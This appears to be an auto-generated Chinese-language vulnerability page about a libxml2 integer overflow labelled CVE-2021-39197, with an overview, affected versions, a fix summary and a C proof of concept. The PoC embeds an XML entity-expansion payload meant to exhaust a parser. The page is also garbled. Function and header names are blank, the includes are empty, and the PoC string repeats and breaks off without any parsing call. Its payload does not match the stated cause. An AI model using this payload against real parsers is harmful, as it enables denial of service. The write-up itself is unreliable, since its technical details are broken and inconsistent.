libxml2 CVE-2021-39197 Integer Overflow in xmlSAX2ParseFile with PoC

漏洞概述 漏洞编号: CVE-2021-39197 漏洞描述: 在 库中， 函数在处理包含特定 XML 文档时，由于未正确验证 头，导致整数溢出漏洞。攻击者可以通过构造恶意 XML 文档，利用该漏洞进行拒绝服务攻击或潜在代码执行。 影响范围 受影响版本: 库的多个版本，具体版本未明确列出，但通常影响较旧的版本。 受影响组件: 库中的 函数。 修复方案 修复方法: 在 库中增加对 头的验证逻辑，确保其值在合理范围内，防止整数溢出。 修复代码: 在 库的 文件中，修改 函数，增加对 头的验证。 POC 代码 ```c // POC 代码示例 #include #include int main() { xmlDocPtr doc; xmlParserCtxtPtr ctxt; // 构造恶意 XML 文档 const char *malicious_xml = "\n" "\n" " <!ENTITY x1 \"&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x

Goal Reached Thanks to every supporter — we hit 100%!

libxml2 CVE-2021-39197 Integer Overflow in xmlSAX2ParseFile with PoC

More from this source